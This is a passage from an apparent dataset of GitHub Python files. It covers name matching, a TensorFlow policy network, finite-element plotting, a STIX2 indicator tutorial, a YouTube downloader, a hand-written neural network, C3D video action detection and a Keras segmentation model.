0\r\n true_name_pr = [w if not w.startswith(\"Ch\") else w[1:].capitalize() for w in true_name_pr]\r\n found = [0 for i in range(len(true_name_pr))]\r\n\r\n for w in test_name_pr:\r\n for i,q in enumerate(true_name_pr):\r\n if name_similarity(w, q) < 3 and not found[i]:\r\n matched_in_true += 1\r\n found[i] = 1\r\n break\r\n\r\n if matched_in_true >= 2 or matched_in_true == len(true_name_pr):\r\n # print(f\"{true_name} equals {test_name}\")\r\n result = True\r\n return result\r\n else:\r\n print(f\"{true_name} NOT equals {test_name}\")\r\n result = False\r\n\r\n return result\r\n\r\n\r\ndef name_similarity(name1, name2):\r\n return editdistance.eval(fuzzy.nysiis(name1), fuzzy.nysiis(name2))\r\n\r\n\r\ndef name_similarity2(name1, name2):\r\n code1 = phonetics.metaphone(name1)\r\n code2 = phonetics.metaphone(name2)\r\n return fuzz.ratio(code1, code2)\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n name1 = \"Evripidis Nikolaos Chelas\"\r\n name2 = \"Evripidis Chatzikraniotis\"\r\n print(compare_names(name1, name2))\r\n","repo_name":"nikifori/Apella-plus-thesis","sub_path":"scraper_py/names.py","file_name":"names.py","file_ext":"py","file_size_in_byte":5189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"18389418207","text":"import tensorflow as tf\n\n# NUM_STATES = 12\n\nclass Policy_Network:\n\n\tdef __init__(self, num_states, params, sess, load = None):\n\t\t\n\t\tself.keep_prob = 0.8\n\t\tself.learning_rate = 0.001\n\t\twith tf.variable_scope('Policy_Network', reuse = tf.AUTO_REUSE) as scope:\n\t\t\tself.weights1 = self.get_weights([num_states, params[0]], 'layer1_weights')\n\t\t\tself.biases1 = self.get_bias_variable([params[0]], 'layer1_biases')\n\t\t\t\n\t\t\tself.weights2 = self.get_weights([params[0], params[1]], 'layer2_weights')\n\t\t\tself.biases2 = self.get_bias_variable([params[1]], 'layer2_biases')\n\t\t\t\n\t\t\tself.weights3 = self.get_weights([params[1], 3], 'layer3_weights')\n\t\t\tself.biases3 = self.get_bias_variable([3], 'layer3_biases')\n\t\tself.output, self.loss, self.optimizer = self.create_graph(num_states)\n\n\t\tself. var_list = [self.weights1, self.biases1, self.weights2, self.biases2, self.weights3, self.biases3]\n\t\t\n\t\t\n\t\tinit = tf.global_variables_initializer()\n\t\t\n\t\tself.sess = sess\n\t\tself.sess.run(init)\n\t\tself.saver = tf.train.Saver()\n\t\tif load != None:\n\t\t\tself.restore_model(load)\n\n\t\tself.fisher = []\n\n\tdef get_weights(self,shape, name):\n\t\tinitializer = tf.contrib.layers.xavier_initializer()\n\t\tweights = tf.get_variable(shape=shape,name=name,initializer=initializer)\n\t\treturn weights\n\n\tdef get_bias_variable(self,shape,name, constant=0.0):\n\t return tf.get_variable(shape = shape, name=name, initializer = tf.constant_initializer(constant))\n\n\tdef neural_network(self,state):\n\t\t\n\t\thidden1 = tf.matmul(state, self.weights1) + self.biases1\n\t\thidden1 = tf.nn.relu(hidden1)\n\t\t# hidden1 = tf.nn.dropout(hidden1, self.keep_prob)\n\n\t\thidden2 = tf.matmul(hidden1, self.weights2) + self.biases2\n\t\thidden2 = tf.nn.relu(hidden2)\n\t\t# hidden2 = tf.nn.dropout(hidden2, self.keep_prob)\n\n\t\thidden3 = tf.matmul(hidden2, self.weights3) + self.biases3\n\n\t\treturn hidden3\n\n\n\tdef create_graph(self, num_states):\n\t\tself.X = tf.placeholder(tf.float32, [None, num_states])\n\t\tself.Y = tf.placeholder(tf.float32, [None,3])\n\t\t# with tf.variable_scope(tf.get_variable_scope(), reuse=tf.AUTO_REUSE) as scope:\n\t\toutput = self.neural_network(self.X)\n\t\tloss = tf.losses.mean_squared_error(output, self.Y)\n\n\t\toptimizer = tf.train.AdamOptimizer(self.learning_rate).minimize(loss)\n\n\t\treturn output, loss, optimizer\n\n\tdef train(self, input_vector, labels):\n\t\tself.keep_prob = 0.8\n\t\t\n\t\tactions, step_loss, _ = self.sess.run([self.output, self.loss, self.optimizer], feed_dict = {self.X: input_vector, self.Y: labels})\n\t\t# print(step_loss)\n\t\treturn actions, step_loss\n\n\tdef predict(self, input_vector):\n\t\tself.keep_prob = 1\n\t\t\n\t\tactions = self.sess.run([self.output], feed_dict = {self.X: input_vector})\n\t\treturn actions\n\n\tdef save_weights(self, model_path):\n\t\tself.saver.save(self.sess, model_path)\n\n\tdef restore_model(self, load):\n\t\tself.saver.restore(self.sess, load)\n\n\t# def compute_fisher(self, input, output):\n\n\t# \tfor v in range(len(self.var_list)):\n # self.F_accum.append(np.zeros(self.var_list[v].get_shape().as_list()))\n\n\n\n# sess = tf.InteractiveSession()\n\n# var = tf.train.list_variables('./saved-models_red/evaluatedPolicies/1-164-150-100-50000-1100.h5')\n\n# print(var)\n","repo_name":"anitaramasamy3/continual-irl","sub_path":"kl_divergence/nn_tf.py","file_name":"nn_tf.py","file_ext":"py","file_size_in_byte":3124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"2875308673","text":"# -*- coding: utf-8 -*-\r\nimport numpy as np;\r\nimport matplotlib.pyplot as plt;\r\nfrom matplotlib import cm;\r\nfrom scipy.interpolate import griddata;\r\n\r\ndef plot_mesh_3d(nodes,elements):\r\n \r\n fig=plt.figure();\r\n ax_3d=fig.add_subplot(111,projection='3d');\r\n #get the points from nodes\r\n x_pts=[];\r\n y_pts=[];\r\n for node in nodes:\r\n x_pts+=[nodes[node]['x']];\r\n y_pts+=[nodes[node]['y']];\r\n #Create the plot;\r\n ax_3d.scatter(x_pts,y_pts,0,\r\n zdir='z',\r\n s=2,\r\n c='Black');\r\n return fig,ax_3d;\r\n\r\ndef plot_mesh_2d(nodes,elements):\r\n \"\"\"\r\n Plots the structure using the nodes and elements dictionary\r\n\r\n Parameters\r\n ----------\r\n nodes : dict\r\n nodes database.\r\n elements : dict\r\n elements database.\r\n\r\n Returns\r\n -------\r\n fig,ax\r\n \"\"\"\r\n x_pts,y_pts=[],[];\r\n for node in nodes:\r\n x_1,y_1=nodes[node]['x'],nodes[node]['y'];\r\n x_pts+=[x_1];\r\n y_pts+=[y_1];\r\n #Get the x and y range\r\n x_min,x_max=min(x_pts),max(x_pts);\r\n x_range=x_max-x_min;\r\n y_min,y_max=min(y_pts),max(y_pts);\r\n y_range=y_max-y_min; \r\n x_size=2**2;\r\n y_size=int(x_size*y_range/x_range);\r\n fig,ax=plt.subplots(figsize=(x_size,y_size)); #Create the plot\r\n #Loop thru elements dictionary and add frames to plot\r\n for ele in elements:\r\n node_i=elements[ele]['Node_i'];\r\n node_j=elements[ele]['Node_j'];\r\n node_k=elements[ele]['Node_k'];\r\n node_l=elements[ele]['Node_l'];\r\n x_i,y_i=nodes[node_i]['x'],nodes[node_i]['y'];\r\n x_j,y_j=nodes[node_j]['x'],nodes[node_j]['y'];\r\n x_k,y_k=nodes[node_k]['x'],nodes[node_k]['y'];\r\n x_l,y_l=nodes[node_l]['x'],nodes[node_l]['y'];\r\n ax.fill([x_i,x_j,x_k,x_l,x_i],\r\n [y_i,y_j,y_k,y_l,y_i],\r\n edgecolor='black',\r\n facecolor='blue',\r\n zorder=0)\r\n #Loop thru nodes dictionary and add nodes to the plot\r\n ax.scatter(x_pts,y_pts,\r\n c='red',\r\n s=6); \r\n #Display the restrained points\r\n for node in nodes:\r\n if(nodes[node]['fix_z']==True):\r\n x=nodes[node]['x'];\r\n y=nodes[node]['y'];\r\n ax.scatter(x,y,\r\n c='red',\r\n marker='^',\r\n s=150); \r\n #ax.imshow(fig,aspect='auto');\r\n ax.set_xlabel('x-Axis');\r\n ax.set_ylabel('y-Axis');\r\n ax.set_title('Structure');\r\n #plt.grid(b=True);\r\n return fig,ax;\r\n\r\ndef save_plot(fig,filename):\r\n fig.savefig(filename);\r\n return None;\r\n\r\ndef plot_displacement_contours(u_case):\r\n x,y,z=[],[],[];\r\n for node in u_case:\r\n x+=[u_case[node]['x']];\r\n y+=[u_case[node]['y']];\r\n z+=[u_case[node]['Uz']];\r\n x,y,z=np.array(x),np.array(y),np.array(z);\r\n x_min,x_max=x.min(),x.max();\r\n y_min,y_max=y.min(),y.max();\r\n nx,ny=10,10;\r\n xi=np.linspace(x_min,x_max,nx);\r\n yi=np.linspace(y_min,y_max,ny);\r\n X,Y=np.meshgrid(xi,yi);\r\n Z=griddata((x,y),z,(X,Y),method='nearest');\r\n fig,ax=plt.subplots(figsize=(8,int(8*(y_max-y_min)/(x_max-x_min))));\r\n ax.contourf(X,Y,Z,20,cmap=cm.RdYlBu);\r\n ax.set_xlabel('x-Axis');\r\n ax.set_ylabel('y-Axis');\r\n ax.set_title('Uz Displacement');\r\n plt.grid(b=True); \r\n return fig,ax;\r\n","repo_name":"danielogg92/Finite-Element-Analysis-of-Concrete-using-Python","sub_path":"Graphics/Graphics.py","file_name":"Graphics.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"96"} +{"seq_id":"37842728959","text":"from stix2 import Identity, Indicator\nfrom stix2 import MarkingDefinition, StatementMarking, TLP_GREEN\n\n## Create Identity SDO\n### https://stix2.readthedocs.io/en/latest/api/stix2.v21.html#stix2.v21.ObservedData\n\nSCIdentitySDO = Identity(\n name=\"Signal Corps Tutorial\",\n description=\"Used for tutorial content\")\n\n## Create Statement Marking\n### https://stix2.readthedocs.io/en/latest/api/stix2.v21.html#stix2.v21.MarkingDefinition\n\nSCMarkingDefinitionStatement = MarkingDefinition(\n definition_type=\"statement\",\n definition = StatementMarking(\n statement=\"Content from the Signals Corps tutorial\"\n )\n )\n\n\n## Create Indicator SDO\n### https://stix2.readthedocs.io/en/latest/api/stix2.v21.html#stix2.v21.Indicator\n\nIndicator0SDOFileHash = Indicator(\n name=\"My first SDO\",\n description=\"Getting started with cti-python-stix2\",\n type='indicator',\n pattern=\"[file:hashes.md5 = 'd41d8cd98f00b204e9800998ecf8427e']\",\n pattern_type=\"stix\",\n created_by_ref=SCIdentitySDO,\n object_marking_refs=[TLP_GREEN,SCMarkingDefinitionStatement]\n )\n\n## Print all the objects\n\nprint(SCIdentitySDO.serialize(pretty=True))\nprint(SCMarkingDefinitionStatement.serialize(pretty=True))\nprint(Indicator0SDOFileHash.serialize(pretty=True))","repo_name":"signalscorps/tutorials","sub_path":"cti-python-stix2-tutorial/examples/02-print-indicator0-sdo.py","file_name":"02-print-indicator0-sdo.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"96"} +{"seq_id":"21754828841","text":"import os\nimport re\n\n\ndef create_js_map(file_name):\n # create a structure map, field name using the first line, value\n # using the second line\n fh = open(file_name, 'r', encoding='utf8')\n lines = fh.readlines()\n fh.close()\n\n if len(lines) < 2:\n print(\"wrong data in file_name\")\n return\n\n fields = lines[0].split(',')\n print(\"fields len:\" + str(len(fields)));\n values = lines[1].split(',')\n print(\"values len:\" + str(len(values)));\n\n fvs = zip(fields,values)\n out = ''\n for (field,value) in fvs:\n value = value.strip('\"')\n if field and value:\n out += \"'{0}': '{1}',\\n\".format(field, value)\n\n print(out)\n \n\n\ndef parse_values(line):\n pattern = re.compile(\"(.*),\")\n return re.findall(pattern, line)\n\ncreate_js_map(\"data/mnc_language.txt\")\n","repo_name":"guodafeng/pythondev","sub_path":"tools/create_js_map.py","file_name":"create_js_map.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"31515706290","text":"#YOUTUBE VIDEO DONLOADER\r\n# pip install pytube\r\nimport pytube\r\n\r\n# Get Yt Link\r\nlink = input('Enter Youtube Video Link :')\r\n\r\n# Create YTlink Instance\r\nyt = pytube.YouTube(link)\r\n\r\n# Download Video\r\nyt.streams.first().download()\r\n\r\n# Finished download\r\nprint('Download Finished', link)\r\n","repo_name":"malshaparinda/Python-Amazing-Tricks","sub_path":"PyYT/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"28558172486","text":"#Neural Network 2.0\nimport random, math, numpy\nimport os, sys\nparentdir = os.path.dirname(os.getcwd())\nsys.path.insert(0,parentdir) \nfrom .neuronlayer import NeuronLayer\nfrom .neuron import Neuron\n\n\"\"\"\n18/05/2018\nDeuxième réseau de neuronnes\n-class NeuralNetwork : classe réseau de neuronnes principales\n-class NeuralLayer : classe pour chaque couche du réseau\n-class Neuron : un neuronne seulement \n\n\"\"\"\t\n\t\nclass NeuralNetwork:\n\tdef __init__(self, input_layer=1, hidden_layers=[], output_layer=1, weights_list=None):\n\t\t\"\"\"\n\t\tinput_layer \t= int \t\t\t: number of neurons in input layer\n\t\thidden_layers \t= int list \t\t: list of number of neurons for each layer\n\t\toutpur_layer \t= int \t\t\t: number of neurons in output layer\n\t\t\n\t\tweights_list = list of int list : optionnal parameter to build a neural network with preset weights\n\t\t\"\"\"\n\t\tself.hidden_layers = []\n\t\tif weights_list != None:\n\t\t\thidden_layers = [len(layer) for layer in weights_list]\n\t\t\toutput_layer = len(weights_list[-1])\n\t\t\tnb_input = hidden_layers.pop(0)\n\t\telse:\t\n\t\t\tnb_input = input_layer\t#number of input for next layer = nb_neuron previous layer\n\t\t\n\t\tfor i, nb_neuron in enumerate(hidden_layers):\n\t\t\tif weights_list != None:\n\t\t\t\tweights = weights_list[i]\n\t\t\telse:\n\t\t\t\tweights = None\n\t\t\tself.hidden_layers.append( NeuronLayer( nb_input, nb_neuron, weights) ) \n\t\t\tnb_input = nb_neuron\n\t\t#last layer\n\t\tif weights_list != None:\n\t\t\tself.output_layer = NeuronLayer(nb_input, output_layer, weights_list[-1])\n\t\telse:\n\t\t\tself.output_layer = NeuronLayer(nb_input, output_layer)\n\t\t\n\t\tself.output = 0\n\t\tself.errors = []\n\t\tself.mean_error = []\n\t\tself.max_error = []\n\t\n\tdef propagation(self, inputs):\n\t\t\"feed forward\"\n\t\tinput_previous_layer = inputs\n\t\tfor hidden_layer in self.hidden_layers:\n\t\t\t# print(\"inputs : \", inputs)\n\t\t\tinput_previous_layer = hidden_layer.propagation( input_previous_layer )\n\t\toutputs = self.output_layer.propagation( input_previous_layer )\n\t\tself.output = outputs\n\t\t# print(\"out : \", outputs)\n\t\treturn outputs\n\t\t\n\tdef train(self, data, batch_size=1):\n\t\t\"uses backpropagation algorithm on the data, batch_size is the number of times the algo is used before updating the weights\"\n\t\tlength = len(data)\n\t\te_tot = []\n\t\tfor i in range(0, length, batch_size):\n\t\t\tbatch_data = data[i:i+batch_size]\n\t\t\te = 0\n\t\t\tfor inputs, expected in batch_data:\n\t\t\t\tself.propagation(inputs)\n\t\t\t\tself.backpropagation(expected)\n\t\t\t\te += self.error(expected)\t\n\t\t\tself.update_weights()\n\t\t\te = e/len(batch_data)\n\t\t\te_tot.append(e)\n\t\t\tself.errors.append(e)\n\t\t\tout = [round(o, 1) for o in self.output]\n\t\t\t# print(\"inputs : {} outputs : {} <-> {} : expected and error {}\".format(inputs, out, expected, e))\n\t\t\t# print(\"erreur : \", )\n\t\tself.mean_error.append(numpy.mean(e_tot))\n\t\tself.max_error.append(max(e_tot))\n\t\t# print(\"last mean_error : \", self.mean_error[-1])\n\t\treturn self.mean_error[-1]\n\t\t\n\tdef backpropagation(self, expected, update_w = False):\n\t\t\"backpropagation of the error\"\n\t\t#output layer \n\t\tdE_dnet_output_layer = [ -( ex - self.output[i] ) for i, ex in enumerate(expected) ] \n\t\tdE_dnets = [ neuron.backpropagation([dE_dnet_output_layer[nth]], [1]) for nth, neuron in enumerate(self.output_layer.neurons) ]\n\t\t#hidden layers\n\t\tprevious_layer_weights = self.output_layer.get_weights_bias()\n\t\tfor hidden in self.hidden_layers[::-1]:\n\t\t\tdE_dnets = [ neuron.backpropagation( dE_dnets, [weights[nth] for weights, bias in previous_layer_weights] ) for nth, neuron in enumerate(hidden.neurons) ]\n\t\t\tprevious_layer_weights = hidden.get_weights_bias()\n\t\t\t\n\t\tif update_w:\n\t\t\tself.update_weights()\n\t\n\tdef update_weights(self):\n\t\tfor layer in self.hidden_layers + [self.output_layer]:\n\t\t\tlayer.update_weights()\n\t\t\n\tdef error(self, expected):\n\t\t\"using output pre-calculated values\"\n\t\te = 0\n\t\tfor i, ex in enumerate(expected):\n\t\t\te += 1/2*( ex - self.output[ i ] )**2\n\t\treturn e\n\t\t\n\tdef get_weights_bias(self):\n\t\treturn [ layer.get_weights_bias() for layer in self.hidden_layers + [self.output_layer]]\n\t\t\n\tdef save(self, file=\"\"):\n\t\t\"save the weights in a pickle file\"\n\t\timport pickle\n\t\twith open(file+\".pickle\", \"wb\") as f:\n\t\t\tpickle.dump(self.get_weights_bias(), f)\n\t\t","repo_name":"CClem11/TIPE","sub_path":"NeuralNetwork/neuralnetwork_class.py","file_name":"neuralnetwork_class.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"12777204094","text":"import torch\nfrom torch import nn\nfrom torchvision import transforms\nimport numpy as np\nimport cv2\nfrom tqdm import tqdm\nfrom collections import deque\nfrom PIL import Image\n\nimport argparse\nimport os\n\nfrom network import C3D_model\n\ndef setup(ckpt_path:str)->nn.Module:\n '''配置模型的GPU/CPU环境\n\n Args:\n ckpt_path(str): 模型检查点路径\n Return:\n model(nn.Module): 配置好的模型\n device(torch.device): 模型可用的环境\n '''\n model = C3D_model.C3D(num_classes=2)\n use_cuda = torch.cuda.is_available()\n device_name = 'cuda:0' if use_cuda else 'cpu'\n device = torch.device(device_name)\n\n params = {} if use_cuda else {'map_location': 'cpu'}\n\n # 恢复检查点\n if ckpt_path is not None:\n assert os.path.exists(ckpt_path), '无效的路径{}'.format(ckpt_path)\n ckpt = torch.load(ckpt_path, **params)\n model.load_state_dict(ckpt['state_dict'])\n model.to(device)\n model.eval()\n\n return model, device\n\ndef get_target_name_from(src_ckpt_name:str)->str:\n '''从检查点文件名中提取任务信息'''\n ckpt_name = src_ckpt_name.replace('C3D-', '')\n ckpt_name = ckpt_name.split('_')\n assert len(ckpt_name) == 2, '无法从{}中恢复任务名,请按照C3D-[任务名]_epoch-[n].pth.tar命名'.format(src_ckpt_name)\n return ckpt_name[0]\n\ndef load_model_from_ckpts(ckpt_root_path:str)->list:\n '''从包含多个检查点的目录中恢复模型'''\n ckpt_filenames = os.listdir(ckpt_root_path)\n models = []\n for ckpt_name in tqdm(ckpt_filenames, desc='Loading'):\n ckpt_full_path = os.path.join(ckpt_root_path, ckpt_name)\n models.append(load_model_from_ckpt(ckpt_full_path))\n return models\n\ndef load_model_from_ckpt(ckpt_path:str)->tuple:\n '''从指定文件中恢复模型'''\n ckpt_filename = os.path.basename(ckpt_path)\n model_target = get_target_name_from(ckpt_filename)\n model, device = setup(ckpt_path)\n return (model_target, model, device)\n\ndef extract_imgs_from_video(video_path:str, step:int = 1, n:int = 30)->deque:\n '''从视频中提取图像\n\n Args:\n video_path(str): 视频路径\n step(int): 视频中提取图像的步长\n n(int): 每次提取图像的帧数\n '''\n video_fp, has_frame = cv2.VideoCapture(video_path), True\n queue = deque([], maxlen=n) # 使用一个定长队列来存储\n index = 0\n # 首次直接读取n帧\n while len(queue) < n and has_frame:\n has_frame, frame = video_fp.read()\n queue.append(frame)\n index += 1\n # 之后每次读取step帧\n count = 0\n while has_frame:\n if count == 0:\n yield queue, index\n has_frame, frame = video_fp.read()\n if frame is not None:\n queue.append(frame)\n count = (count + 1) % step\n index += 1\n yield queue, index\n\n\ndef get_video_info(video_path:str)->(int, int, int, int):\n '''获取视频宽/高/帧速率/帧总数信息'''\n video_fp = cv2.VideoCapture(video_path)\n return [int(video_fp.get(i)) for i in [3, 4, 5, 7]]\n\n\ndef transform(x)->torch.Tensor:\n x = Image.fromarray(cv2.cvtColor(x, cv2.COLOR_BGR2RGB))\n mean = np.array([90.0, 98.0, 102.0]) / 255\n x = transforms.Compose([\n transforms.Resize((128, 171)),\n transforms.CenterCrop(112),\n transforms.ToTensor(),\n transforms.Normalize(mean, [1.0, 1.0, 1.0]),\n transforms.ToPILImage()\n ])(x)\n return torch.Tensor(np.array(x))\n\n\ndef transform_to_tensor(clip:list)->torch.Tensor:\n '''视频数据转换为tensor'''\n # 视频数转换帧后增加一维,使其变为batchsize * n * h * w * c\n clip = torch.stack(list(map(transform, clip))).unsqueeze(0) # type: torch.Tensor\n clip = clip.permute(0, 4, 1, 2, 3) # 修改成channel first的格式\n return clip\n\ndef eval_on_video(video_path:str, ckpt_root_path:str, step:int, n:int, threshold: float):\n '''处理整段视频\n\n Args:\n video_path(str): 视频路径\n ckpt_root_path(str): 检查点路径\n step(int): 视频处理的步长\n n(int): 每次用于输入网络的视频长度\n threshold(float): 界定动作发生的概率阈值\n\n Return:\n restults(list): 逐帧的各个动作发生的概率\n timeline(list): 每个动作发生的时间段\n targets(list): 每个任务的名称\n '''\n for path in [video_path, ckpt_root_path]:\n assert path is not None and os.path.exists(path), '路径不存在:{}'.format(path)\n\n model_ckpts = os.listdir(ckpt_root_path)\n w, h, rate, total = get_video_info(video_path)\n print('Video info:\\n\\tsize: {} * {}\\n\\trate: {}\\n\\ttotal: {}'.format(w, h, rate, total))\n\n results = np.zeros((total, len(model_ckpts), 2)) # shape = (总帧数 * 总类数 * 2)\n\n # 依次加载各个模型\n targets = []\n for i, model_file_name in enumerate(model_ckpts):\n model_full_name = os.path.join(ckpt_root_path, model_file_name)\n target_name, model, device = load_model_from_ckpt(model_full_name)\n targets.append(target_name)\n # 开始处理单个视频\n for clip, frame_index in tqdm(extract_imgs_from_video(video_path, step, n),\n total=((total - n) // step + 2), desc='Inferencing {}'.format(target_name)):\n clip = transform_to_tensor(clip)\n clip = torch.autograd.Variable(clip, requires_grad=False).to(device)\n with torch.no_grad():\n output = model.forward(clip)\n output = torch.nn.Softmax(dim=1)(output).cpu().numpy()\n results[frame_index - n:frame_index, i] = output\n\n # 保存结果\n flags = [False] * len(targets) # 用来存储动作出现与否\n count = [0] * len(targets) # 用来存储每个动作出现的次数\n timeline = [[] for i in targets]\n # 用来存储动作出现的时间段,同一个动作在同一视频中有可能出现多次,shape = (target_count, times, 2)\n\n trans_zh = {\n 'acrossLadder': '跨节',\n 'firststep': '首步掉落',\n 'objectfall': '物体掉落',\n 'sameLadder': '同节',\n 'sendHose': '水带压线'\n }\n\n # 获取输出文件名称\n file_base_name = os.path.basename(video_path).rsplit('.')[0]\n output_file_name = file_base_name + '_output.csv'\n with open(output_file_name, 'w') as f:\n f.write(','.join([trans_zh[name] for name in targets]))\n f.write('\\n')\n for frame_index, frame in enumerate(results):\n # frame是shape = (target_count, 1)的数组,存储了每一帧对应的n个动作发生的概率\n for target_index, p in enumerate(frame):\n f.write('{:.4f}, '.format(p[1]))\n if p[1] > threshold and not flags[target_index]:\n count[target_index] += 1 # 上升沿记录该动作发生一次,并记录动作开始的帧索引\n timeline[target_index].append({\n 'start_frame': frame_index,\n 'end_frame': -1\n })\n if p[1] <= threshold and flags[target_index] and len(timeline[target_index]) > 0:\n # 在下降沿记录动作的结束帧索引\n if timeline[target_index][-1]['end_frame'] < 0:\n timeline[target_index][-1]['end_frame'] = frame_index\n flags[target_index] = p[1] > threshold # 更新存储状态\n f.write('\\n')\n\n should_show_time = False # 不输出帧数时间段\n\n summary_file_name = file_base_name + '_summary.csv'\n with open(summary_file_name, 'w') as f:\n f.write('次数统计\\n类目,次数,惩时(s),{}\\n'.format('出现时间段' if should_show_time else ''))\n for i, name in enumerate(targets):\n time_penalty = '-' if name is 'objectfall' else str(count[i] * 5)\n time_line_str = ', '.join(['({} ~ {})'.format(seg['start_frame'], seg['end_frame']) for seg in timeline[i]])\n f.write('{}, {}, {}, {}\\n'.format(trans_zh[name], count[i], time_penalty, time_line_str if should_show_time else ''))\n print('{}:\\n\\t���现{}次'.format(trans_zh[name], count[i]))\n if count[i] > 0 and should_show_time:\n print('\\t出现帧数段: ' + time_line_str)\n if name != 'objectfall' and count[i] > 0:\n print('\\t罚时: {}s'.format(time_penalty))\n\n # 结果写入视频\n output_video_name = os.path.basename(video_path).rsplit('.')[0] + '_output.mp4'\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n video_wp = cv2.VideoWriter(output_video_name, fourcc, rate, (w, h))\n for frame, index in extract_imgs_from_video(video_path, 1, 1):\n frame = frame[0]\n probs = results[index - 1, :, 1]\n probs_sorted = sorted(zip(probs, targets), reverse=True)\n for i, (p, name) in enumerate(probs_sorted):\n if p > threshold:\n cv2.putText(frame, '{}: {}'.format(trans_zh[name], p), (20, 40 * i + 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 1)\n video_wp.write(frame)\n video_wp.release()\n\n print('results have been saved to: \\n\\t{}\\n\\t{}\\n\\t{}'.format(output_file_name, output_video_name, summary_file_name))\n return results.tolist(), timeline, targets\n\ndef run_as_service():\n from flask import Flask, request, jsonify\n app = Flask(__name__)\n\n @app.route('/detect', methods=['POST', 'GET'])\n def __handle_post():\n print(request.form)\n video_path = request.form['video']\n ckpt_path = request.form['ckpt']\n threshold = float(request.form['threshold'])\n step = int(request.form['step'])\n length = int(request.form['length'])\n results, timeline, targets = eval_on_video(video_path, ckpt_path, step, length, threshold)\n ret = {\n 'raw_data': results,\n 'timeline': {key: timeline[i] for i, key in enumerate(targets)}\n }\n return jsonify(ret)\n\n app.run(debug=True, host='127.0.0.1', port=5000)\n\ndef parse_args():\n parser = argparse.ArgumentParser(usage='python3 eval.py -i path/to/video -r path/to/checkpoints')\n parser.add_argument('-i', '--video', help='path to video')\n parser.add_argument('-r', '--ckpt_root_path', help='path to the checkpoints')\n parser.add_argument('-t', '--threshold', default=0.8, type=float)\n parser.add_argument('-web', default=0, type=int)\n return parser.parse_args()\n\nif __name__ == \"__main__\":\n args = parse_args()\n step = 15\n length = 30\n if args.web > 0:\n run_as_service()\n else:\n eval_on_video(args.video, args.ckpt_root_path, 15, 30, args.threshold)\n","repo_name":"DragonZzzz/Video_Analysis_Fireman","sub_path":"C3D/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":10681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"41260209848","text":"# Mirror Image...\n\nclass Node:\n def __init__(self,data):\n self.data = data\n self.left = None\n self.right = None\n\ndef createBinary(root,p,c,char):\n if not root:\n return None\n\n if root.data == p:\n if char == 'L':\n root.left = Node(c)\n elif char == 'R':\n root.right = Node(c)\n\n else:\n # Try left\n if root.left :\n createBinary(root.left,p,c,char)\n\n # Try Right\n if root.right:\n createBinary(root.right,p,c,char)\n \n \ndef inorder(root):\n if root:\n inorder(root.left)\n print(root.data)\n inorder(root.right)\n\n\n\n\n\nroot = Node(1)\nfor _ in range(int(input())-1):\n p,c,char = input().split()\n createBinary(root,int(p),int(c),char)\n\ninorder(root)\n","repo_name":"Laksh8/competitive-programming","sub_path":"hackerearth/Mirror Image.py","file_name":"Mirror Image.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"73807154886","text":"#!/usr/bin/env python2.7\nimport numpy as np\nfrom keras import optimizers\nfrom keras.models import Model\nfrom keras.layers import Dropout, Lambda\nfrom keras.layers import Input, average\nfrom keras.layers import Conv2D, MaxPooling2D, Conv2DTranspose\nfrom keras.layers import ZeroPadding2D, Cropping2D\nfrom keras import backend as K\nfrom layer_common import mvn, crop\nfrom keras.utils.vis_utils import plot_model\n\ndef dice_coef(y_true, y_pred, smooth=0.0):\n '''Average dice coefficient per batch.'''\n axes = (1,2,3)\n intersection = K.sum(y_true * y_pred, axis=axes)\n summation = K.sum(y_true, axis=axes) + K.sum(y_pred, axis=axes)\n \n return K.mean((2.0 * intersection + smooth) / (summation + smooth), axis=0)\n\n\ndef dice_coef_loss(y_true, y_pred):\n return 1.0 - dice_coef(y_true, y_pred, smooth=10.0)\n\n\ndef jaccard_coef(y_true, y_pred, smooth=0.0):\n '''Average jaccard coefficient per batch.'''\n axes = (1,2,3)\n intersection = K.sum(y_true * y_pred, axis=axes)\n union = K.sum(y_true, axis=axes) + K.sum(y_pred, axis=axes) - intersection\n return K.mean( (intersection + smooth) / (union + smooth), axis=0)\n\ndef dice_coef_each(y_true, y_pred, smooth=0.0):\n '''Average dice coefficient for endocardium class per batch.'''\n axes = (1, 2)\n y_true_endo = y_true[:, :, :].astype('float32')\n y_pred_endo = y_pred[:, :, :]\n y_pred_endo = np.where(y_pred_endo > 0.5, 1.0, 0.0).astype('float32')\n intersection = np.sum(y_true_endo * y_pred_endo, axis=axes)\n summation = np.sum(y_true_endo * y_true_endo, axis=axes) + np.sum(y_pred_endo * y_pred_endo, axis=axes)\n\n return (2.0 * intersection + smooth) / (summation + smooth)\n\ndef fcn_model_inv(input_shape, num_classes, num_filter=64, weights=None):\n ''' \"Skip\" FCN architecture similar to Long et al., 2015\n https://arxiv.org/abs/1411.4038\n '''\n if num_classes == 2:\n num_classes = 1\n loss = dice_coef_loss\n activation = 'sigmoid'\n else:\n loss = 'categorical_crossentropy'\n activation = 'softmax'\n\n kwargs = dict(\n kernel_size=3,\n strides=1,\n activation='relu',\n padding='same',\n use_bias=True,\n kernel_initializer='glorot_uniform',\n bias_initializer='zeros',\n bias_regularizer=None,\n activity_regularizer=None,\n kernel_constraint=None,\n bias_constraint=None,\n trainable=True,\n )\n \n data = Input(shape=input_shape, dtype='float', name='data')\n mvn0 = Lambda(mvn, 